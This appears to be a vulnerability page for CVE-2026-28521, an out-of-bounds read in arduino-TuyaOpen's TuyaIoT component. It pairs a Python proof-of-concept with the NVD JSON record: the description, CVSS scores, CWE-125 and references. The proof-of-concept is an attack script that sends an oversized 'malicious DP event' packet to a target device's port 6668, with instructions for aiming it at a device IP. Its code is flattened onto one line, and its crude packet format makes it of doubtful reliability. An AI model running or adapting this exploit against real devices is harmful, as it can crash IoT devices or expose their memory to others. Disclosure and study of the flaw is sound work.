CVE-2026-28521

import socket import struct # CVE-2026-28521 PoC - Malicious DP Event Data Generator # Target: arduino-TuyaOpen < 1.2.1 TuyaIoT component def create_malicious_dp_event(): """ Generate malicious DP event data that triggers OOB read """ # DP event header dp_type = 0x01 # Type 1: DP event dp_id = 0x10 # DP ID # Malicious data - oversized payload to trigger OOB # This exceeds the buffer boundary in TuyaIoT parser payload_size = 256 # Intentionally large to trigger OOB malicious_data = b'\x41' * payload_size # Construct the malicious DP event packet packet = struct.pack('!BBH', dp_type, dp_id, payload_size) packet += malicious_data return packet def send_malicious_event(target_ip, target_port=6668): """ Send malicious DP event to Tuya device """ sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: sock.connect((target_ip, target_port)) malicious_packet = create_malicious_dp_event() sock.send(malicious_packet) print(f'[+] Malicious DP event sent to {target_ip}:{target_port}') print(f'[+] Packet size: {len(malicious_packet)} bytes') except Exception as e: print(f'[-] Error: {e}') finally: sock.close() # Usage: send_malicious_event('TARGET_DEVICE_IP') # Note: Requires attacker to control/compromise Tuya cloud service

{"cve": {"id": "CVE-2026-28521", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:19:28.557", "lastModified": "2026-03-17T20:24:33.687", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "arduino-TuyaOpen before version 1.2.1 contains an out-of-bounds memory read vulnerability in the TuyaIoT component. An attacker who hijacks or controls the Tuya cloud service can issue malicious DP event data to victim devices, causing out-of-bounds memory access that may result in information disclosure or a denial-of-service condition."}, {"lang": "es", "value": "arduino-TuyaOpen anterior a la versión 1.2.1 contiene una vulnerabilidad de lectura de memoria fuera de límites en el componente TuyaIoT. Un atacante que secuestra o controla el servicio en la nube de Tuya puede emitir datos de eventos DP maliciosos a los dispositivos de la víctima, causando acceso a memoria fuera de límites que puede resultar en revelación de información o una condición de denegación de servicio."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:tuya:arduino-tuyaopen:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.2.1", "matchCriteriaId": "8DCD3B50-3018-4B34-AB9B-16C0FB32AF4A"}]}]}], "references": [{"url": "https://github.com/tuya/arduino-TuyaOpen", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://src.tuya.com/announcement/32", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/arduino-tuyaopen-tuyaiot-out-of-bounds-memory-read-information-disclosure", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}